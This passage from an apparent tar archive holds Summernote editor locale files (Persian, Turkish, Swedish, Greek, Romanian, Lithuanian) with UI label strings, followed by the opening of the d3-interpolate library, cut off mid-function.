        recent: 'رنگ اخیرا استفاده شده',
        more: 'رنگ بیشتر',
        background: 'رنگ پس زمینه',
        foreground: 'رنگ متن',
        transparent: 'بی رنگ',
        setTransparent: 'تنظیم حالت بی رنگ',
        reset: 'بازنشاندن',
        resetToDefault: 'حالت پیش فرض'
      },
      shortcut: {
        shortcuts: 'دکمه های میان بر',
        close: 'بستن',
        textFormatting: 'فرمت متن',
        action: 'عملیات',
        paragraphFormatting: 'فرمت پاراگراف',
        documentStyle: 'استیل سند',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'واچیدن',
        redo: 'بازچیدن'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-tr-TR.js000064400000012563151677331560011214 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'tr-TR': {
      font: {
        bold: 'Kalın',
        italic: 'İtalik',
        underline: 'Altı çizili',
        clear: 'Temizle',
        height: 'Satır yüksekliği',
        name: 'Yazı Tipi',
        strikethrough: 'Üstü çizili',
        subscript: 'Alt Simge',
        superscript: 'Üst Simge',
        size: 'Yazı tipi boyutu'
      },
      image: {
        image: 'Resim',
        insert: 'Resim ekle',
        resizeFull: 'Orjinal boyut',
        resizeHalf: '1/2 boyut',
        resizeQuarter: '1/4 boyut',
        floatLeft: 'Sola hizala',
        floatRight: 'Sağa hizala',
        floatNone: 'Hizalamayı kaldır',
        shapeRounded: 'Şekil: Yuvarlatılmış Köşe',
        shapeCircle: 'Şekil: Daire',
        shapeThumbnail: 'Şekil: K.Resim',
        shapeNone: 'Şekil: Yok',
        dragImageHere: 'Buraya sürükleyin',
        dropImage: 'Resim veya metni bırakın',
        selectFromFiles: 'Dosya seçin',
        maximumFileSize: 'Maksimum dosya boyutu',
        maximumFileSizeError: 'Maksimum dosya boyutu aşıldı.',
        url: 'Resim bağlantısı',
        remove: 'Resimi Kaldır',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Video bağlantısı',
        insert: 'Video ekle',
        url: 'Video bağlantısı?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion veya Youku)'
      },
      link: {
        link: 'Bağlantı',
        insert: 'Bağlantı ekle',
        unlink: 'Bağlantıyı kaldır',
        edit: 'Bağlantıyı düzenle',
        textToDisplay: 'Görüntülemek için',
        url: 'Bağlantı adresi?',
        openInNewWindow: 'Yeni pencerede aç'
      },
      table: {
        table: 'Tablo',
        addRowAbove: 'Yukarı satır ekle',
        addRowBelow: 'Aşağı satır ekle',
        addColLeft: 'Sola sütun ekle',
        addColRight: 'Sağa sütun ekle',
        delRow: 'Satırı sil',
        delCol: 'Sütunu sil',
        delTable: 'Tabloyu sil'
      },
      hr: {
        insert: 'Yatay çizgi ekle'
      },
      style: {
        style: 'Biçim',
        p: 'p',
        blockquote: 'Alıntı',
        pre: 'Önbiçimli',
        h1: 'Başlık 1',
        h2: 'Başlık 2',
        h3: 'Başlık 3',
        h4: 'Başlık 4',
        h5: 'Başlık 5',
        h6: 'Başlık 6'
      },
      lists: {
        unordered: 'Madde işaretli liste',
        ordered: 'Numaralı liste'
      },
      options: {
        help: 'Yardım',
        fullscreen: 'Tam ekran',
        codeview: 'HTML Kodu'
      },
      paragraph: {
        paragraph: 'Paragraf',
        outdent: 'Girintiyi artır',
        indent: 'Girintiyi azalt',
        left: 'Sola hizala',
        center: 'Ortaya hizala',
        right: 'Sağa hizala',
        justify: 'Yasla'
      },
      color: {
        recent: 'Son renk',
        more: 'Daha fazla renk',
        background: 'Arka plan rengi',
        foreground: 'Yazı rengi',
        transparent: 'Seffaflık',
        setTransparent: 'Şeffaflığı ayarla',
        reset: 'Sıfırla',
        resetToDefault: 'Varsayılanlara sıfırla'
      },
      shortcut: {
        shortcuts: 'Kısayollar',
        close: 'Kapat',
        textFormatting: 'Yazı biçimlendirme',
        action: 'Eylem',
        paragraphFormatting: 'Paragraf biçimlendirme',
        documentStyle: 'Biçim',
        extraKeys: 'İlave anahtarlar'
      },
      help: {
        'insertParagraph': 'Paragraf ekler',
        'undo': 'Son komudu geri alır',
        'redo': 'Son komudu yineler',
        'tab': 'Girintiyi artırır',
        'untab': 'Girintiyi azaltır',
        'bold': 'Kalın yazma stilini ayarlar',
        'italic': 'İtalik yazma stilini ayarlar',
        'underline': 'Altı çizgili yazma stilini ayarlar',
        'strikethrough': 'Üstü çizgili yazma stilini ayarlar',
        'removeFormat': 'Biçimlendirmeyi temizler',
        'justifyLeft': 'Yazıyı sola hizalar',
        'justifyCenter': 'Yazıyı ortalar',
        'justifyRight': 'Yazıyı sağa hizalar',
        'justifyFull': 'Yazıyı her iki tarafa yazlar',
        'insertUnorderedList': 'Madde işaretli liste ekler',
        'insertOrderedList': 'Numaralı liste ekler',
        'outdent': 'Aktif paragrafın girintisini azaltır',
        'indent': 'Aktif paragrafın girintisini artırır',
        'formatPara': 'Aktif bloğun biçimini paragraf (p) olarak değiştirir',
        'formatH1': 'Aktif bloğun biçimini başlık 1 (h1) olarak değiştirir',
        'formatH2': 'Aktif bloğun biçimini başlık 2 (h2) olarak değiştirir',
        'formatH3': 'Aktif bloğun biçimini başlık 3 (h3) olarak değiştirir',
        'formatH4': 'Aktif bloğun biçimini başlık 4 (h4) olarak değiştirir',
        'formatH5': 'Aktif bloğun biçimini başlık 5 (h5) olarak değiştirir',
        'formatH6': 'Aktif bloğun biçimini başlık 6 (h6) olarak değiştirir',
        'insertHorizontalRule': 'Yatay çizgi ekler',
        'linkDialog.show': 'Bağlantı ayar kutusunu gösterir'
      },
      history: {
        undo: 'Geri al',
        redo: 'Yinele'
      },
      specialChar: {
        specialChar: 'ÖZEL KARAKTERLER',
        select: 'Özel Karakterleri seçin'
      }
    }
  });
})(jQuery);
lang/summernote-sv-SE.min.js000064400000006770151677331560011766 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"sv-SE":{font:{bold:"Fet",italic:"Kursiv",underline:"Understruken",clear:"Radera formatering",height:"Radavstånd",name:"Teckensnitt",strikethrough:"Genomstruken",subscript:"Subscript",superscript:"Superscript",size:"Teckenstorlek"},image:{image:"Bild",insert:"Infoga bild",resizeFull:"Full storlek",resizeHalf:"Halv storlek",resizeQuarter:"En fjärdedel i storlek",floatLeft:"Vänsterjusterad",floatRight:"Högerjusterad",floatNone:"Ingen justering",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Dra en bild hit",dropImage:"Drop image or Text",selectFromFiles:"Välj från filer",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Länk till bild",remove:"Ta bort bild",original:"Original"},video:{video:"Filmklipp",videoLink:"Länk till filmklipp",insert:"Infoga filmklipp",url:"Länk till filmklipp",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion eller Youku)"},link:{link:"Länk",insert:"Infoga länk",unlink:"Ta bort länk",edit:"Redigera",textToDisplay:"Visningstext",url:"Till vilken URL ska denna länk peka?",openInNewWindow:"Öppna i ett nytt fönster"},table:{table:"Tabell",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Infoga horisontell linje"},style:{style:"Stil",p:"p",blockquote:"Citat",pre:"Kod",h1:"Rubrik 1",h2:"Rubrik 2",h3:"Rubrik 3",h4:"Rubrik 4",h5:"Rubrik 5",h6:"Rubrik 6"},lists:{unordered:"Punktlista",ordered:"Numrerad lista"},options:{help:"Hjälp",fullscreen:"Fullskärm",codeview:"HTML-visning"},paragraph:{paragraph:"Justera text",outdent:"Minska indrag",indent:"Öka indrag",left:"Vänsterjusterad",center:"Centrerad",right:"Högerjusterad",justify:"Justera text"},color:{recent:"Senast använda färg",more:"Fler färger",background:"Bakgrundsfärg",foreground:"Teckenfärg",transparent:"Genomskinlig",setTransparent:"Gör genomskinlig",reset:"Nollställ",resetToDefault:"Återställ till standard"},shortcut:{shortcuts:"Kortkommandon",close:"Stäng",textFormatting:"Textformatering",action:"Funktion",paragraphFormatting:"Avsnittsformatering",documentStyle:"Dokumentstil",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Ångra",redo:"Gör om"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-el-GR.js000064400000015530151677331560011147 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'el-GR': {
      font: {
        bold: 'Έντονα',
        italic: 'Πλάγια',
        underline: 'Υπογραμμισμένα',
        clear: 'Καθαρισμός',
        height: 'Ύψος',
        name: 'Γραμματοσειρά',
        strikethrough: 'Διεγραμμένα',
        subscript: 'Δείκτης',
        superscript: 'Εκθέτης',
        size: 'Μέγεθος'
      },
      image: {
        image: 'εικόνα',
        insert: 'Εισαγωγή',
        resizeFull: 'Πλήρες μέγεθος',
        resizeHalf: 'Μισό μέγεθος',
        resizeQuarter: '1/4 μέγεθος',
        floatLeft: 'Μετατόπιση αριστερά',
        floatRight: 'Μετατόπιση δεξιά',
        floatNone: 'Χωρίς μετατόπιση',
        shapeRounded: 'Σχήμα: Στρογγυλεμένο',
        shapeCircle: 'Σχήμα: Κύκλος',
        shapeThumbnail: 'Σχήμα: Thumbnail',
        shapeNone: 'Σχήμα: Κανένα',
        dragImageHere: 'Σύρτε την εικόνα εδώ',
        dropImage: 'Αφήστε την εικόνα',
        selectFromFiles: 'Επιλογή από αρχεία',
        maximumFileSize: 'Μέγιστο μέγεθος αρχείου',
        maximumFileSizeError: 'Το μέγεθος είναι μεγαλύτερο από το μέγιστο επιτρεπτό.',
        url: 'URL',
        remove: 'Αφαίρεση',
        original: 'Original'
      },
      link: {
        link: 'Σύνδεσμος',
        insert: 'Εισαγωγή συνδέσμου',
        unlink: 'Αφαίρεση συνδέσμου',
        edit: 'Επεξεργασία συνδέσμου',
        textToDisplay: 'Κείμενο συνδέσμου',
        url: 'URL',
        openInNewWindow: 'Άνοιγμα σε νέο παράθυρο'
      },
      video: {
        video: 'Βίντεο',
        videoLink: 'Σύνδεσμος Βίντεο',
        insert: 'Εισαγωγή',
        url: 'URL',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'
      },
      table: {
        table: 'Πίνακας',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Εισαγωγή οριζόντιας γραμμής'
      },
      style: {
        style: 'Στυλ',
        normal: 'Κανονικό',
        blockquote: 'Παράθεση',
        pre: 'Ως έχει',
        h1: 'Κεφαλίδα 1',
        h2: 'συνδέσμου 2',
        h3: 'συνδέσμου 3',
        h4: 'συνδέσμου 4',
        h5: 'συνδέσμου 5',
        h6: 'συνδέσμου 6'
      },
      lists: {
        unordered: 'Αταξινόμητη λίστα',
        ordered: 'Ταξινομημένη λίστα'
      },
      options: {
        help: 'Βοήθεια',
        fullscreen: 'Πλήρης οθόνη',
        codeview: 'Προβολή HTML'
      },
      paragraph: {
        paragraph: 'Παράγραφος',
        outdent: 'Μείωση εσοχής',
        indent: 'Άυξηση εσοχής',
        left: 'Αριστερή στοίχιση',
        center: 'Στοίχιση στο κέντρο',
        right: 'Δεξιά στοίχιση',
        justify: 'Πλήρης στοίχιση'
      },
      color: {
        recent: 'Πρόσφατη επιλογή',
        more: 'Περισσότερα',
        background: 'Υπόβαθρο',
        foreground: 'Μπροστά',
        transparent: 'Διαφανές',
        setTransparent: 'Επιλογή διαφάνειας',
        reset: 'Επαναφορά',
        resetToDefault: 'Επαναφορά στις προκαθορισμένες τιμές'
      },
      shortcut: {
        shortcuts: 'Συντομεύσεις',
        close: 'Κλείσιμο',
        textFormatting: 'Διαμόρφωση κειμένου',
        action: 'Ενέργεια',
        paragraphFormatting: 'Διαμόρφωση παραγράφου',
        documentStyle: 'Στυλ κειμένου',
        extraKeys: 'Επιπλέον συντομεύσεις'
      },
      help: {
        'insertParagraph': 'Εισαγωγή παραγράφου',
        'undo': 'Αναιρεί την προηγούμενη εντολή',
        'redo': 'Επαναλαμβάνει την προηγούμενη εντολή',
        'tab': 'Εσοχή',
        'untab': 'Αναίρεση εσοχής',
        'bold': 'Ορισμός έντονου στυλ',
        'italic': 'Ορισμός πλάγιου στυλ',
        'underline': 'Ορισμός υπογεγραμμένου στυλ',
        'strikethrough': 'Ορισμός διεγραμμένου στυλ',
        'removeFormat': 'Αφαίρεση στυλ',
        'justifyLeft': 'Ορισμός αριστερής στοίχισης',
        'justifyCenter': 'Ορισμός κεντρικής στοίχισης',
        'justifyRight': 'Ορισμός δεξιάς στοίχισης',
        'justifyFull': 'Ορισμός πλήρους στοίχισης',
        'insertUnorderedList': 'Ορισμός μη-ταξινομημένης λίστας',
        'insertOrderedList': 'Ορισμός ταξινομημένης λίστας',
        'outdent': 'Προεξοχή παραγράφου',
        'indent': 'Εσοχή παραγράφου',
        'formatPara': 'Αλλαγή της μορφής του τρέχοντος μπλοκ σε παράγραφο (P tag)',
        'formatH1': 'Αλλαγή της μορφής του τρέχοντος μπλοκ σε H1',
        'formatH2': 'Αλλαγή της μορφής του τρέχοντος μπλοκ σε H2',
        'formatH3': 'Αλλαγή της μορφής του τρέχοντος μπλοκ σε H3',
        'formatH4': 'Αλλαγή της μορφής του τρέχοντος μπλοκ σε H4',
        'formatH5': 'Αλλαγή της μορφής του τρέχοντος μπλοκ σε H5',
        'formatH6': 'Αλλαγή της μορφής του τρέχοντος μπλοκ σε H6',
        'insertHorizontalRule': 'Εισαγωγή οριζόντιας γραμμής',
        'linkDialog.show': 'Εμφάνιση διαλόγου συνδέσμου'
      },
      history: {
        undo: 'Αναίρεση',
        redo: 'Επαναληψη'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Επιλέξτε ειδικούς χαρακτήρες'
      }
    }
  });
})(jQuery);
lang/summernote-sv-SE.js000064400000012024151677331560011171 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'sv-SE': {
      font: {
        bold: 'Fet',
        italic: 'Kursiv',
        underline: 'Understruken',
        clear: 'Radera formatering',
        height: 'Radavstånd',
        name: 'Teckensnitt',
        strikethrough: 'Genomstruken',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Teckenstorlek'
      },
      image: {
        image: 'Bild',
        insert: 'Infoga bild',
        resizeFull: 'Full storlek',
        resizeHalf: 'Halv storlek',
        resizeQuarter: 'En fjärdedel i storlek',
        floatLeft: 'Vänsterjusterad',
        floatRight: 'Högerjusterad',
        floatNone: 'Ingen justering',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Dra en bild hit',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Välj från filer',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'Länk till bild',
        remove: 'Ta bort bild',
        original: 'Original'
      },
      video: {
        video: 'Filmklipp',
        videoLink: 'Länk till filmklipp',
        insert: 'Infoga filmklipp',
        url: 'Länk till filmklipp',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion eller Youku)'
      },
      link: {
        link: 'Länk',
        insert: 'Infoga länk',
        unlink: 'Ta bort länk',
        edit: 'Redigera',
        textToDisplay: 'Visningstext',
        url: 'Till vilken URL ska denna länk peka?',
        openInNewWindow: 'Öppna i ett nytt fönster'
      },
      table: {
        table: 'Tabell',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Infoga horisontell linje'
      },
      style: {
        style: 'Stil',
        p: 'p',
        blockquote: 'Citat',
        pre: 'Kod',
        h1: 'Rubrik 1',
        h2: 'Rubrik 2',
        h3: 'Rubrik 3',
        h4: 'Rubrik 4',
        h5: 'Rubrik 5',
        h6: 'Rubrik 6'
      },
      lists: {
        unordered: 'Punktlista',
        ordered: 'Numrerad lista'
      },
      options: {
        help: 'Hjälp',
        fullscreen: 'Fullskärm',
        codeview: 'HTML-visning'
      },
      paragraph: {
        paragraph: 'Justera text',
        outdent: 'Minska indrag',
        indent: 'Öka indrag',
        left: 'Vänsterjusterad',
        center: 'Centrerad',
        right: 'Högerjusterad',
        justify: 'Justera text'
      },
      color: {
        recent: 'Senast använda färg',
        more: 'Fler färger',
        background: 'Bakgrundsfärg',
        foreground: 'Teckenfärg',
        transparent: 'Genomskinlig',
        setTransparent: 'Gör genomskinlig',
        reset: 'Nollställ',
        resetToDefault: 'Återställ till standard'
      },
      shortcut: {
        shortcuts: 'Kortkommandon',
        close: 'Stäng',
        textFormatting: 'Textformatering',
        action: 'Funktion',
        paragraphFormatting: 'Avsnittsformatering',
        documentStyle: 'Dokumentstil',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Ångra',
        redo: 'Gör om'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-ro-RO.min.js000064400000007507151677331560011766 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"ro-RO":{font:{bold:"Îngroșat",italic:"Înclinat",underline:"Subliniat",clear:"Înlătură formatare font",height:"Înălțime rând",name:"Familie de fonturi",strikethrough:"Tăiat",subscript:"Indice",superscript:"Exponent",size:"Dimensiune font"},image:{image:"Imagine",insert:"Inserează imagine",resizeFull:"Redimensionează complet",resizeHalf:"Redimensionează 1/2",resizeQuarter:"Redimensionează 1/4",floatLeft:"Aliniere la stânga",floatRight:"Aliniere la dreapta",floatNone:"Fară aliniere",shapeRounded:"Formă: Rotund",shapeCircle:"Formă: Cerc",shapeThumbnail:"Formă: Pictogramă",shapeNone:"Formă: Nici una",dragImageHere:"Trage o imagine sau un text aici",dropImage:"Eliberează imaginea sau textul",selectFromFiles:"Alege din fişiere",maximumFileSize:"Dimensiune maximă fișier",maximumFileSizeError:"Dimensiune maximă fișier depășită.",url:"URL imagine",remove:"Șterge imagine",original:"Original"},video:{video:"Video",videoLink:"Link video",insert:"Inserează video",url:"URL video?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion sau Youku)"},link:{link:"Link",insert:"Inserează link",unlink:"Înlătură link",edit:"Editează",textToDisplay:"Text ce va fi afişat",url:"La ce adresă URL trebuie să conducă acest link?",openInNewWindow:"Deschidere în fereastră nouă"},table:{table:"Tabel",addRowAbove:"Adaugă rând deasupra",addRowBelow:"Adaugă rând dedesubt",addColLeft:"Adaugă coloană stânga",addColRight:"Adaugă coloană dreapta",delRow:"Șterge rând",delCol:"Șterge coloană",delTable:"Șterge tabel"},hr:{insert:"Inserează o linie orizontală"},style:{style:"Stil",p:"p",blockquote:"Citat",pre:"Preformatat",h1:"Titlu 1",h2:"Titlu 2",h3:"Titlu 3",h4:"Titlu 4",h5:"Titlu 5",h6:"Titlu 6"},lists:{unordered:"Listă neordonată",ordered:"Listă ordonată"},options:{help:"Ajutor",fullscreen:"Măreşte",codeview:"Sursă"},paragraph:{paragraph:"Paragraf",outdent:"Creşte identarea",indent:"Scade identarea",left:"Aliniere la stânga",center:"Aliniere centrală",right:"Aliniere la dreapta",justify:"Aliniere în bloc"},color:{recent:"Culoare recentă",more:"Mai multe  culori",background:"Culoarea fundalului",foreground:"Culoarea textului",transparent:"Transparent",setTransparent:"Setează transparent",reset:"Resetează",resetToDefault:"Revino la iniţial"},shortcut:{shortcuts:"Scurtături tastatură",close:"Închide",textFormatting:"Formatare text",action:"Acţiuni",paragraphFormatting:"Formatare paragraf",documentStyle:"Stil paragraf",extraKeys:"Taste extra"},help:{insertParagraph:"Inserează paragraf",undo:"Revine la starea anterioară",redo:"Revine la starea ulterioară",tab:"Tab",untab:"Untab",bold:"Setează stil îngroșat",italic:"Setează stil înclinat",underline:"Setează stil subliniat",strikethrough:"Setează stil tăiat",removeFormat:"Înlătură formatare",justifyLeft:"Setează aliniere stânga",justifyCenter:"Setează aliniere centru",justifyRight:"Setează aliniere dreapta",justifyFull:"Setează aliniere bloc",insertUnorderedList:"Comutare listă neordinată",insertOrderedList:"Comutare listă ordonată",outdent:"Înlătură indentare paragraf curent",indent:"Adaugă indentare paragraf curent",formatPara:"Schimbă formatarea selecției în paragraf",formatH1:"Schimbă formatarea selecției în H1",formatH2:"Schimbă formatarea selecției în H2",formatH3:"Schimbă formatarea selecției în H3",formatH4:"Schimbă formatarea selecției în H4",formatH5:"Schimbă formatarea selecției în H5",formatH6:"Schimbă formatarea selecției în H6",insertHorizontalRule:"Adaugă linie orizontală","linkDialog.show":"Inserează link"},history:{undo:"Starea anterioară",redo:"Starea ulterioară"},specialChar:{specialChar:"CARACTERE SPECIALE",select:"Alege caractere speciale"}}})}(jQuery);lang/summernote-lt-LT.js000064400000012474151677331560011201 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'lt-LT': {
      font: {
        bold: 'Paryškintas',
        italic: 'Kursyvas',
        underline: 'Pabrėžtas',
        clear: 'Be formatavimo',
        height: 'Eilutės aukštis',
        name: 'Šrifto pavadinimas',
        strikethrough: 'Perbrauktas',
        superscript: 'Viršutinis',
        subscript: 'Indeksas',
        size: 'Šrifto dydis'
      },
      image: {
        image: 'Paveikslėlis',
        insert: 'Įterpti paveikslėlį',
        resizeFull: 'Pilnas dydis',
        resizeHalf: 'Sumažinti dydį 50%',
        resizeQuarter: 'Sumažinti dydį 25%',
        floatLeft: 'Kairinis lygiavimas',
        floatRight: 'Dešininis lygiavimas',
        floatNone: 'Jokio lygiavimo',
        shapeRounded: 'Forma: apvalūs kraštai',
        shapeCircle: 'Forma: apskritimas',
        shapeThumbnail: 'Forma: miniatiūra',
        shapeNone: 'Forma: jokia',
        dragImageHere: 'Vilkite paveikslėlį čia',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Pasirinkite failą',
        maximumFileSize: 'Maskimalus failo dydis',
        maximumFileSizeError: 'Maskimalus failo dydis viršytas!',
        url: 'Paveikslėlio URL adresas',
        remove: 'Ištrinti paveikslėlį',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Video Link',
        insert: 'Insert Video',
        url: 'Video URL?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'
      },
      link: {
        link: 'Nuoroda',
        insert: 'Įterpti nuorodą',
        unlink: 'Pašalinti nuorodą',
        edit: 'Redaguoti',
        textToDisplay: 'Rodomas tekstas',
        url: 'Koks URL adresas yra susietas?',
        openInNewWindow: 'Atidaryti naujame lange'
      },
      table: {
        table: 'Lentelė',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Įterpti horizontalią liniją'
      },
      style: {
        style: 'Stilius',
        p: 'pus',
        blockquote: 'Citata',
        pre: 'Kodas',
        h1: 'Antraštė 1',
        h2: 'Antraštė 2',
        h3: 'Antraštė 3',
        h4: 'Antraštė 4',
        h5: 'Antraštė 5',
        h6: 'Antraštė 6'
      },
      lists: {
        unordered: 'Suženklintasis sąrašas',
        ordered: 'Sunumeruotas sąrašas'
      },
      options: {
        help: 'Pagalba',
        fullscreen: 'Viso ekrano režimas',
        codeview: 'HTML kodo peržiūra'
      },
      paragraph: {
        paragraph: 'Pastraipa',
        outdent: 'Sumažinti įtrauką',
        indent: 'Padidinti įtrauką',
        left: 'Kairinė lygiuotė',
        center: 'Centrinė lygiuotė',
        right: 'Dešininė lygiuotė',
        justify: 'Abipusis išlyginimas'
      },
      color: {
        recent: 'Paskutinė naudota spalva',
        more: 'Daugiau spalvų',
        background: 'Fono spalva',
        foreground: 'Šrifto spalva',
        transparent: 'Permatoma',
        setTransparent: 'Nustatyti skaidrumo intensyvumą',
        reset: 'Atkurti',
        resetToDefault: 'Atstatyti numatytąją spalvą'
      },
      shortcut: {
        shortcuts: 'Spartieji klavišai',
        close: 'Uždaryti',
        textFormatting: 'Teksto formatavimas',
        action: 'Veiksmas',
        paragraphFormatting: 'Pastraipos formatavimas',
        documentStyle: 'Dokumento stilius',
        extraKeys: 'Papildomi klavišų deriniai'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Anuliuoti veiksmą',
        redo: 'Perdaryti veiksmą'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
d3-interpolate.js000064400000036406151677334320007760 0ustar00// https://d3js.org/d3-interpolate/ v1.3.2 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-color')) :
typeof define === 'function' && define.amd ? define(['exports', 'd3-color'], factory) :
(factory((global.d3 = global.d3 || {}),global.d3));
}(this, (function (exports,d3Color) { 'use strict';

function basis(t1, v0, v1, v2, v3) {
  var t2 = t1 * t1, t3 = t2 * t1;
  return ((1 - 3 * t1 + 3 * t2 - t3) * v0
      + (4 - 6 * t2 + 3 * t3) * v1
      + (1 + 3 * t1 + 3 * t2 - 3 * t3) * v2
      + t3 * v3) / 6;
}

function basis$1(values) {
  var n = values.length - 1;
  return function(t) {
    var i = t <= 0 ? (t = 0) : t >= 1 ? (t = 1, n - 1) : Math.floor(t * n),
        v1 = values[i],
        v2 = values[i + 1],
        v0 = i > 0 ? values[i - 1] : 2 * v1 - v2,
